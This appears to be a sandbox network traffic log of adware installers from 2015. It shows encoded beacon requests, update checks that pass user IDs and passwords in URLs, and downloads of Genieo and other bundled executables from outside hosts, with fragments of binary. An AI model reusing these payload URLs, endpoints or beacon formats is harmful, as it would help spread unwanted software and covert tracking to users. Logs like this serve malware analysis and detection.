X-Amz-Cf-Id: 3-YKoVA-OF-pOYwHKPISjUHZurvh0WLmO3p7VmiGfHDmjATkiDnOrA==

....

GET /p.ashx?e=hNMAVKhukry7P4fECSsJwrnjMnh 4VIhLuUtzlm7/AT8ln8Iap23/2SGRkpEIbSdfl0yK7ww8bQ94V6p2b0iPoAQkWl KJecj1mEjbWMPAZZWmyv2w9PlybvQmbZnorvSOrYhj46XfQgpnHZJVLNW8M HGYhu8yVDIpWidYVXtF5ewo25xH dugxP4Tpn7X9BPEhRyyBD7ADYwDanr6NLoe9XigMTJMs0sa4f4Pfg2ziLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmn/Mv081ozH 6ysA rfm9WVJiZJGf0oLE2Z3mfWYaJTmmEwfMvfDkwyt3bdINAG8Boayvex8cQAt HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 00:02:10 GMT

X-Cache: Miss from cloudfront

Via: 1.1 457b75182c63eff39fe8e72b11b6c74d.cloudfront.net (CloudFront)

X-Amz-Cf-Id: xmI6x_lWRsGyvRR7bClQu8w0BoR_SeeFkz2KrXYWJYURaSIxo7mkZw==

GET /12895.ashx?e=AZwPyJy3TZi4/9HrRpQ3bLnjMnh 4VIh0p 2AZY350X8ln8Iap23//2TEkHeJNDUJPiqQQOytxw4COacNh4EPJ8D0cq40/0vd/XCztdoPbJFiFlIaXxqEcmxw368usKjODQ8kqa2OFucXyuYdOQyobLZ4ZHHnwlV4i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJr38Km4JMgAXQ== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 00:01:59 GMT

X-Cache: Miss from cloudfront

Via: 1.1 b56fc979704f01acc351fd21f5c956db.cloudfront.net (CloudFront)

X-Amz-Cf-Id: YYZsWH0AKvuTlS_07j-9BYnmemvGjLe-RaC0_YhgEd83C1EANQ02iA==

HTTP/1.1 200 OK..Content-Length: 0..Connection: keep-alive..Cache-Cont
rol: private, no-store..Server: Microsoft-IIS/7.5..X-AspNet-Version: 4
.0.30319..X-Powered-By: ASP.NET..Date: Tue, 24 Feb 2015 00:01:59 GMT..
X-Cache: Miss from cloudfront..Via: 1.1 b56fc979704f01acc351fd21f5c956
db.cloudfront.net (CloudFront)..X-Amz-Cf-Id: YYZsWH0AKvuTlS_07j-9BYnme
mvGjLe-RaC0_YhgEd83C1EANQ02iA==......

GET /12895.ashx?e=hXeqmv1Ipen8DUZEY163AJ/TkbZ2czqApsjqfqDD9YSMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1NRbv9JgCPlAw8lOqQCf9KrCzd1pE lMJTJyqFZ2qF63zPqOvINB2X/uIogWjdbx/ZHatAG0OlbnVkSTBrGE5P5JL3iK8VeJNrVAezdf3aKUfrYVG/XirhPBPEhRyyBD7D2M6U1Ze8GFFzslN/Oom5DbE2hSZV1srvsrduYhMMj22RKvLYtrSkCxuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJeK7a1soWlgbXd/rihenux9fNVzLLcxFjdBjJFsJe PMbh0VD81O5rzWPKIz/cHLUr60ZqS4ggdNg== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 00:02:04 GMT

X-Cache: Miss from cloudfront

Via: 1.1 b56fc979704f01acc351fd21f5c956db.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 1AGLCCyDEoBruAgNnbD6Wz653eq7CBw719pd9NqtQs21ppa2z4aAdQ==

....

GET /12895.ashx?e=hXeqmv1Ipen8DUZEY163AJ/TkbZ2czqApsjqfqDD9YSMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1NRbv9JgCPlAw8lOqQCf9KrCzd1pE lMJTJyqFZ2qF63zPqOvINB2X/uIogWjdbx/ZHatAG0OlbnVkSTBrGE5P5JL3iK8VeJNrVAezdf3aKUUmvGwE2ItoihD9gPpiV Hiz4gguKWlYXdKsmYe6ObrcAGW4B5KF0X3G4Lnbcm9hh1KSSkgkzJM10ClxJsX5qO1ZySIyJVh8l4rtrWyhaWBtd3 uKF6e7H181XMstzEWN0GMkWwl748xuHRUPzU7mvNY8ojP9wctSvrRmpLiCB02 HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 00:02:04 GMT

X-Cache: Miss from cloudfront

Via: 1.1 b56fc979704f01acc351fd21f5c956db.cloudfront.net (CloudFront)

X-Amz-Cf-Id: uCYAy8Stc0Go-NuFihW0y1gbWBiRqNC2iQjGpvlgsU8shappqxyFtg==

....

GET /12895.ashx?e=hXeqmv1Ipen8DUZEY163AJ/TkbZ2czqApsjqfqDD9YSMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1NRbv9JgCPlAw8lOqQCf9KrCzd1pE lMJTJyqFZ2qF63zPqOvINB2X/uIogWjdbx/ZHatAG0OlbnVkSTBrGE5P5JL3iK8VeJNrVAezdf3aKUZR0WuEl7dbF0kOkPP/ lcpu8eAfWsOK5ZLOhm7KiO348MKRqZY TBH6dnj3H5nABveJIUUI29KJua/YhbaaQtbhLKDJ7gHH44roFtpr/bY5tMM9FOiO9IIcxXLgDRmHLOc3vmcjs3clDyU6pAJ/0qsLN3WkT6UwlMnKoVnaoXrfJuII2ynZweY= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 00:02:00 GMT

X-Cache: Miss from cloudfront

Via: 1.1 b56fc979704f01acc351fd21f5c956db.cloudfront.net (CloudFront)

X-Amz-Cf-Id: zjjJwf49wA91RPv-ddXSsbk11nGxwSrlSezrieSqp2xJqdaIIH4YbA==

....

GET /12895.ashx?e=hXeqmv1Ipen8DUZEY163AJ/TkbZ2czqApsjqfqDD9YSMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1NRbv9JgCPlAw8lOqQCf9KrCzd1pE lMJTJyqFZ2qF63zPqOvINB2X/uIogWjdbx/ZHatAG0OlbnVkSTBrGE5P5JL3iK8VeJNrVAezdf3aKUTz0zfD6NQ4eEwAaRG2pHiUPesst1ukiDjOJGv9qSLCFMXL1aGIyEdEE8XIWrh60PYXV1rPYBwrFqy2cd4qoQDl0oePvh0n93NexvF9Z3oAvVYgO0yHAHEvxMJiM8GJo0cAmFWBqey3IIDWGoEVJF8ybZEVgy/VBXa2CkarwxdzgnyucPTMPOBI= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 00:02:00 GMT

X-Cache: Miss from cloudfront

Via: 1.1 b56fc979704f01acc351fd21f5c956db.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 747eWZcRruyAW9bKfMruNqSuHCTTUmc9cA5hXrqJd5dueLmzCVUzNw==

....

GET /12895.ashx?e=hXeqmv1Ipen8DUZEY163AJ/TkbZ2czqApsjqfqDD9YSMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1NRbv9JgCPlAw8lOqQCf9KrCzd1pE lMJTJyqFZ2qF63zPqOvINB2X/uIogWjdbx/ZHatAG0OlbnVkSTBrGE5P5JL3iK8VeJNrVAezdf3aKUVDwWd9hvLDxFAL52sIXt4XYryyVYEb/Xz3ZLnbsoZ9zjPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9uOy dZOY5uM7AQhJgQ701Lj6s3yV6l8413XZSkF1SfvAvZBqh0KVZHRTKfrgtZytF047tQXaDqtQ== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 00:02:05 GMT

X-Cache: Miss from cloudfront

Via: 1.1 b56fc979704f01acc351fd21f5c956db.cloudfront.net (CloudFront)

X-Amz-Cf-Id: zeMH-jlOQzO7x8HEl6qBFb5r-u0mfmqB2k9H0J1Gow0c1JlTeZdBUw==

....

GET /12895.ashx?e=hXeqmv1Ipen8DUZEY163AJ/TkbZ2czqApsjqfqDD9YSMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1NRbv9JgCPlAw8lOqQCf9KrCzd1pE lMJTJyqFZ2qF63zPqOvINB2X/uIogWjdbx/ZHatAG0OlbnVkSTBrGE5P5JL3iK8VeJNrVAezdf3aKUQ5Mtw6p9U5dKYX3Ti/i3YOb87aptZLNDMXmaVWxukFWZ1qa tRBmxIEmumfnn3eLsmQ gNabH9smt1LIHE9GmAQ VwoE0aIX/TbXnzkx FKzhaWSxEYwymAEJFpfiiXnI9ZhI21jDwGWVpsr9sPT5fAwCWrSwf7Fw== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 00:02:05 GMT

X-Cache: Miss from cloudfront

Via: 1.1 b56fc979704f01acc351fd21f5c956db.cloudfront.net (CloudFront)

X-Amz-Cf-Id: y0Cf3o3Mf0DR7hMHWgrURrDPpgcDV6CME12JVPEN8Fz3AfXnhx7sSw==

....

GET /12895.ashx?e=hXeqmv1Ipen8DUZEY163AJ/TkbZ2czqApsjqfqDD9YSMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1NRbv9JgCPlAw8lOqQCf9KrCzd1pE lMJTJyqFZ2qF63zPqOvINB2X/uIogWjdbx/ZHatAG0OlbnVkSTBrGE5P5JL3iK8VeJNrVAezdf3aKUQeEuJy eF9fKYX3Ti/i3YMyquPELD4STKsyuDjWX8vLsJJPlhy2jdwTqcwBDTHruXFWs3G3PXIRldmt6Vgk8tTa/RmnbFycn/MCQQDL/agc83DGmT1vL7mOIqtr/iP3PhRM1E0AOBA7mbc LNSD go= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net

GET /12895.ashx?e=M7A8vgjJHrj4MZomVx105Yduf7GeaOfNtwaYA5cXz78Qyol6Hp9Rdg0/niVdnGaSOFMWIH8tWhfHsP81YNOEhEyKEnCf7vECisrImanoEL69iLFR6fZRo0AwivYxPBFHA38xLFtVk1NswOK6/sALrSWwaEnR7xgwrXIxNf6X/p9imua2CCuc RFmggqVoiq4KYX3Ti/i3YOrZUJO2Bj2/OMlN/XaXrTy94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjm0wz0U6I70ghzFcuANGYcs5ze ZyOzdyUPJTqkAn/Sqws3daRPpTCUycqhWdqhet8m4gjbKdnB5g== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net

GET /12895.ashx?e=sf5RTiQoQnef05G2dnM6gMMdEYretVH0jA5kVqVgWdD8SaNRCRsmETynsL3GEE9TUW7/SYAj5QMPJTqkAn/Sqws3daRPpTCUycqhWdqhet8z6jryDQdl/7iKIFo3W8f2R2rQBtDpW51ZEkwaxhOT SS94ivFXiTaGK5E2bFODYZiuGpx ZVZ8ATxIUcsgQ wQ1V8jD1/9CkZtQFdZJbneATxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4  HSf3c17G8X1negC9ViA7TIcAcS/EwmIzwYmjRwCYVYGp7LcggNYagRUkXzJtkRWDL9UFdrYKRqvDF3OCfK5w9Mw84Eg== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net

GET /12895.ashx?e=sf5RTiQoQnef05G2dnM6gMMdEYretVH0jA5kVqVgWdD8SaNRCRsmETynsL3GEE9TUW7/SYAj5QMPJTqkAn/Sqws3daRPpTCUycqhWd
HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 00:02:03 GMT

X-Cache: Miss from cloudfront

Via: 1.1 b56fc979704f01acc351fd21f5c956db.cloudfront.net (CloudFront)

X-Amz-Cf-Id: uQI8T5mmvyuwl61vbFGAa03YnNZCVEfeAXHcqGvBzzhPR1lGhIUUeQ==

....

GET /12895.ashx?e=043Mckb8Lnj5nRk39lR6RYduf7GeaOfNoOZ8Vy4PwRAQyol6Hp9Rdg0/niVdnGaSOFMWIH8tWhfHsP81YNOEhEyKEnCf7vECisrImanoEL69iLFR6fZRo0AwivYxPBFHA38xLFtVk1NswOK6/sALrSWwaEnR7xgwaJkIKvOmtNBWOvghCBTr/TdVMo67fxO0s IILilpWF1BbRAuIV9iXcyQG/8 9KQlZQnfaLo2Y6vG4Lnbcm9hh1KSSkgkzJM10ClxJsX5qO1ZySIyJVh8l4rtrWyhaWBtd3 uKF6e7H181XMstzEWN0GMkWwl748xuHRUPzU7mvNY8ojP9wctSvrRmpLiCB02 HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 00:02:03 GMT

X-Cache: Miss from cloudfront

Via: 1.1 b56fc979704f01acc351fd21f5c956db.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 2l2QlGP5F5bOirBulQUSUhJL9na6rGLYNhY-Mk2dIDXYvGTr-swZHQ==

HTTP/1.1 200 OK..Content-Length: 0..Connection: keep-alive..Cache-Cont
rol: private, no-store..Server: Microsoft-IIS/7.5..X-AspNet-Version: 4
.0.30319..X-Powered-By: ASP.NET..Date: Tue, 24 Feb 2015 00:02:03 GMT..
X-Cache: Miss from cloudfront..Via: 1.1 b56fc979704f01acc351fd21f5c956
db.cloudfront.net (CloudFront)..X-Amz-Cf-Id: 2l2QlGP5F5bOirBulQUSUhJL9
na6rGLYNhY-Mk2dIDXYvGTr-swZHQ==......

GET /12895.ashx?e=XJYuqQQo69dBmScQe cMuOLyPyzo0umuE13rHoa9hTh4E7mrr1h80jmXqQawsZSOUA7dl9owwhJJiZJGf0oLE2Z3mfWYaJTmmEwfMvfDkwyt3bdINAG8BncPfxNFD/ ad56ymZ4o9xQb6x14lCSqs/5Ds6yGKCI6pynfaNYH8L/fV9OCtHXZfA3mXJEY39mHAhwsRGINruh3JLgG5QML1ZiKaU9wneZ7Og0HjHhWWOg7s3nxyonjvBxc81u2rgCm44UuTa3qd5D7MusukiOxFesStD0GefRoXwZfZunRVLss0HBZyMufOb6uN9Kjt Am94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjm0wz0U6I70ghzFcuANGYcs5ze ZyOzdyUPJTqkAn/Sqws3daRPpTCUycqhWdqhet8m4gjbKdnB5g== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 00:02:14 GMT

X-Cache: Miss from cloudfront

Via: 1.1 b56fc979704f01acc351fd21f5c956db.cloudfront.net (CloudFront)

X-Amz-Cf-Id: kh9bqQ7lVoDWtcERrSJyz-kARNOWBXEJ4jbg0T8AIrVpQBQ5h5TflA==

....

GET /12895.ashx?e=vjRn qH YuPulzvurkdMteaHkvwiennMQF3UKsSdb2tZNgLaUTJ6JCEdbCsTxXU3DzDx9jQVYzJBjJFsJe PMbh0VD81O5rzWPKIz/cHLUpexu3zyafL11HmS0ZrngqaehpOqw6bJSLjAzOm8FoQAH6fyQqqsNTv1QHs3X92ilEqjHjRwH0s7BD4NsK07Wi5s IILilpWF0zwh6 kBmZAvqDGgi/BDQb5pBCt6gYiqqQwOkBsbXJRjz4pxZKLL7/a0RCgbXs/u1ilv6ykvr0VwgDjjE9zaqi7rjZ7kQENxfp /A/u61jEcbQ9M/8hK0AHtznjR2TecyrMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEZXZrelYJPLU2v0Zp2xcnJ/zAkEAy/2oHPNwxpk9by 5jiKra/4j9z4UTNRNADgQO5m3PizUg/oK HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 00:02:14 GMT

X-Cache: Miss from cloudfront

Via: 1.1 b56fc979704f01acc351fd21f5c956db.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 8M8HwAxVj0Lkov3-akDl9V1ZCYTS0JEmKWla6DpCObZghe_CD4w1ug==

HTTP/1.1 200 OK..Content-Length: 0..Connection: keep-alive..Cache-Cont
rol: private, no-store..Server: Microsoft-IIS/8.5..X-AspNet-Version: 4
.0.30319..X-Powered-By: ASP.NET..Date: Tue, 24 Feb 2015 00:02:14 GMT..
X-Cache: Miss from cloudfront..Via: 1.1 b56fc979704f01acc351fd21f5c956
db.cloudfront.net (CloudFront)..X-Amz-Cf-Id: 8M8HwAxVj0Lkov3-akDl9V1ZC
YTS0JEmKWla6DpCObZghe_CD4w1ug==..

GET /online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=8bbf5d60-0613-4bcc-93c8-28817ab1fcc2&Password=bbRSxORx&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,1a2e5f38-dbe6-4619-8c53-3c3fb0ec7872,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=0&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&ElapsedTime=1424736162&SBPIDS=1&KA=1 HTTP/1.1

User-Agent: CoreWinInet

Host: online.speedbit.com

Cache-Control: no-cache

Connection: Keep-Alive

Cookie: ASP.NET_SessionId=ikuzrh55wtxeobjr3lf0l255


HTTP/1.1 200 OK

Cache-Control: private

Content-Length: 44

Content-Type: text/html; charset=utf-8

X-Powered-By: ASP.NET

X-AspNet-Version: 2.0.50727

Date: Tue, 24 Feb 2015 00:02:21 GMT

Connection: close
<RESULT>.<LASTERROR>0</LASTERROR>.</RESULT>...

GET /partner/gim394750002/release/live/InstallGenieo.exe HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: download.genieo.com

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

x-amz-id-2: SFJlXe7hqvLiGjuv/nMj3GpGtttLdu1XouVu6QjDfAWer5EZcuHTzTY4dLA9SVS0kRAsdgpGb50=

x-amz-request-id: 6A175F167EA6256B

Date: Tue, 24 Feb 2015 00:02:19 GMT

Last-Modified: Mon, 20 Oct 2014 09:54:42 GMT

ETag: "d65611fbc4da8cea4e886076bec82d1e"

Accept-Ranges: bytes

Content-Range: bytes 0-988407/988408

Content-Type: application/octet-stream

Content-Length: 988408

Server: AmazonS3
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
....................................................................s.
.........P...............`............................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
rc...P............v..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..<<< skipped >>>

GET /online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=1788e91e-8b19-462a-8e2b-90ae69199b26&Password=p2giThPc&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,1a2e5f38-dbe6-4619-8c53-3c3fb0ec7872,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1424736162&SBPIDS=0 HTTP/1.1

User-Agent: CoreWinInet

Host: online.GOOBZO.com

Cache-Control: no-cache

Cookie: ASP.NET_SessionId=stwasxzel0a5ovn3t1puwm55


HTTP/1.1 200 OK

Connection: close

Date: Tue, 24 Feb 2015 00:02:23 GMT

Server: Microsoft-IIS/6.0

X-Powered-By: ASP.NET

Cache-Control: no-cache, no-store

X-AspNet-Version: 2.0.50727

Cache-Control: private

Content-Type: text/html; charset=utf-8

Content-Length: 100546
<RESULT>.<LICENSE><STATUS>YaBhX1FVSUY=</STATUS>
;<EXPIRATION>0</EXPIRATION></LICENSE><UPDATE>.
<EXIST>0</EXIST>.<VERSION></VERSION>.<PAGE_
URL></PAGE_URL>.<DOWNLOAD_URL></DOWNLOAD_URL>.<
;DOWNLOAD_FILENAME></DOWNLOAD_FILENAME>.</UPDATE>.<S
TATS><COLLECT>1</COLLECT></STATS>.<YTA><
CONFIG><SITES><LEN>99864</LEN>..<ZIP>0</
ZIP>..<XMLVERSION>20131113143800</XMLVERSION><DATA&g
t;..hzmx6NSdzPupSuFmPETTOwEaP5MtN3k5B2a5khhOAdWUsYMpoVIMyJmCvgMilCqVBj
4UbQPeysvtYNiJVZNbRiQ7kiQsDUsNZ3MEYy1JfoBg o4pFsDooC00NO31pfd X8nXxC3V
p1HfKOwdgo62mJR71PwoZndR4AVDfbY4 9wFzk5tF 7727dskH5IZvVtCTpSQRswno298p
arAhgqN6qT czhzLjGJDuSJCwNSw1xwvWc8nan6y8O2JpeHgh8bMQc3Btg097LREoQ8w0F
1OQktY78pcFTqkKychePn/BkFKYzMvpZMy3oEVdiQxtA5xdCc2YpO8/CTqFCBwPADyfxYv
2FEVfbbiJm9OYFcu118IHvVTOrVQafL QEq0UE2pvXQCRnwiLKkp2rjL8gdMtEShDzDQXU
5CS1jvylwVOqQrJyF4 f8Dt4Oelu3aKGRqumrg /iFozngL0PZo7xV IapaBL0J2JDuSJC
wNSw0svxf0mAsRlmEq8DYMfNoIOuCvQUIqzx3Jp/JaHAbdZcJOoUIHA8AP5qvMAtrk934H
d6DRXxR/qRhAvBesE3Xujk7yXbEuF7GpHiEFiCgrxFB5bOBLlmCPV7tVm0pUOGtH43b05W
UQ5y/jTrneLb7G3yjsHYKOtpgOWQYwQw2yOF7cSHoRn1cSqUrhZjxE0zsejhg2EGJPm5Xv
sdYcwlgFCPIGtJXT5or44D/zrQcOo12lJj5r3ojdmAGFido 37oT3SwxUyBYApR71PwoZn
dR4AVDfbY4 9zwk5A4Jnge/RPdLDFTIFgCZLLU7dfR VD VN6OwG s/84tOgdW/RrWk0GO
NPWePfzAC91wf62CJMVfxez40MStk0GONPWePfwyH243G2GPaN L3Yb09J2jjg1O9xFNo7
LRCtQYSZvjaZZMK3muQBGik0GONPWePfwyH243G2GPaN L3Yb09J2jjg1O9xFNo7Ku<<< skipped >>>

GET /mirror/filesfrog/UpdateCheckerSetup.exe HTTP/1.1

Range: bytes=75027-

User-Agent: Better Installer(Mozilla)

Host: d32c8485dhfcya.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 125045

Connection: keep-alive

Date: Sun, 22 Feb 2015 05:42:08 GMT

x-amz-version-id: jL0aSyRduHp4LqyncVK8Wm3JP0W5VrZH

x-amz-meta-s3cmd-attrs: uid:0/gname:root/uname:root/gid:0/mode:33188/mtime:1382010969/atime:1382011574/ctime:1382011537

Cache-Control: max-age=3600

Last-Modified: Thu, 17 Oct 2013 12:06:36 GMT

ETag: "ef7d1863f4980ab0c8bda142fee67f92"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 75027-200071/200072

Age: 283

X-Cache: Hit from cloudfront

Via: 1.1 8ba00e7b6e8959a64c4f6f61fd5596de.cloudfront.net (CloudFront)

X-Amz-Cf-Id: nq7ZWWFe-jPQTupaEcJxzjhOi2rbBhF-QEee1HVau1Qj9NMPCIgdrQ==
....y.....x..k..........3.....\H0...h.K....,..?Y...N....nC.:..X.e.<
).3....P.._Mf.y.[.&.T........f9^.......J.'=...~:)!/...q..|....u..lHA.g
.{...z....0E.a~..:............t..E..mNs.....T*..R...]..9..K.F/.}.V0./4
..Z`H......t..k....D.*......#4=._....XLO..........?W...L...K..."..#D..
;c.U..7.q.V. [email protected].....
.. .....x..S)*.j.Q>.YMw....x..8.E.G.[....xmh&......xF...N.M.. .I.c.
.9?.<.....8Z.~.....8P.y...... ....q...DR.o.D..v.&.....]x1..O.......
.................E..........V......o..., .. ...... ......#..47...k{...
..X....T".......].|.&..s.....ob].H.........x.H..7.S.t:>*L.....0)...
<.L....G...G.Lj.V..9T.....p..~..5.......\.bV...Jt .....q.u...dc....
*....NvH...C......2'i?..c.q..u..[..@?..Ua.f.8Um....>(.....kG.CBd...
.....-.;.".......\..M.I&../]<'......V.L.N7.......{L..&Q,.v......n..
?.CT.S....j9N..R...........f'<..Gg.....y..A.iP.e.l..A 5S.h....-....
.^[email protected]...>..D......,.d../......%.......*.
.2ub....4.`H.k..>.>..d ..y8utx..qe..q....C.....<. ......0.S.0
.0.....k..3......C...'.."[email protected].,.. ..7...tWv..J.....u0.d.N..l
....p<U.u&J..*|R.........<I...g..7y.h. ....X.R...d^.a8......LG..
..3.=l.f0Js....c;)..}..uf.zR...H..}.%v...G#(.2,.\../......wq...Pn...%.
..i4h...h..n.....M. ....7.ZP!"I......wdL.3HvP%@X.`.Vc..;..../..aZif'1.
...2.1.9.....x..g........._(5....8.f...g..Qm...&"[.C....J......(s5d...
.*..C{..5e.&.J(..(.......rQ..4...|....].P....U......b.S..Z.7o...}4.z..
#..w...j..}B.it...*d.]O3.D..ASt..?.B....gQ..<..Y......[.^.r..S2<<< skipped >>>

GET /app/ping.ashx?e=qTTPt6qukDH4YOj/qSs/oKjwS4Ev5Aa/fhalIKY8mkHF v7PQ4kXwDEsdSRpTTrrVTOts69f7XE2BNpnG2tVVRHuhwLE3j02YCpHZc9ZUaGCtNyV221ZgGNGUQeeEC1PbNA6ThUAQyrQKPlPto4slFqp2iqeGATE5ze ZyOzdyUPJTqkAn/Sqws3daRPpTCUycqhWdqhet/LdC ehtwbsZAtX799FH7yyT3M6a2fcjGUHHnm5FyJgnYLhlxvbriVN4cHXyV2IG/1JlPKcaeEmRI5LmyoF5AlcrEiEDP1jKqqdT9GIMWRuvUmU8pxp4SZgE9L8wai8UDg/yVe4Z/h4obfQeCZJmDfQ3SGYOTb0QsR0xabMkbgoFk2AtpRMnokIR1sKxPFdTcPMPH2NBVjMkGMkWwl748xuHRUPzU7mvNY8ojP9wctShNKc/l2U9fgN IpjWb5QWR1FmWeqRzIZtjP1QedMB/cy/B6ujnJrtI0fJ30mPWB3MJ9BqBjylb582wDWK7EtoHOFpZLERjDKYAQkWl KJecj1mEjbWMPAZZWmyv2w9Pl0Az0m 1PmkpVi33qPwefc AZSpRiXLg4A== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rephelper.youtubeaccelerator.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

